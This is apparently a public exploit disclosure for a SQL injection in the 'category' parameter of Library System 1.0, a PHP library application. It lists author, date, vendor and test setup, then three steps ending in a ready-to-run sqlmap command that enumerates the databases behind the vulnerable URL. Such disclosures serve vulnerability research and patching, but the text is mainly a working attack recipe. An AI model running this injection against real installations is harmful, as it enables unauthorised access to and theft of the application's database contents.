Library System 1.0 - 'category' SQL Injection

# Exploit Title: Library System 1.0 - 'category' SQL Injection
# Exploit Author: Aitor Herrero
# Date: 2021-01-22
# Vendor Homepage: https://www.sourcecodester.com/php/12275/library-system-using-php.html
# Software Link: https://www.sourcecodester.com/php/12275/library-system-using-php.html
# Version: 1.0
# Tested On: Windows 10 + XAMPP 7.4.4
# Description: Library System 1.0

#STEP 1 : Go to the principal main
#STEP 2 : Choose a category example :http://localhost:8080/libsystem/libsystem/index.php?category=3
#STEP 3: Run your sqlmap example:
sqlmap -u "http://localhost:8080/libsystem/libsystem/index.php?category=3" --dbs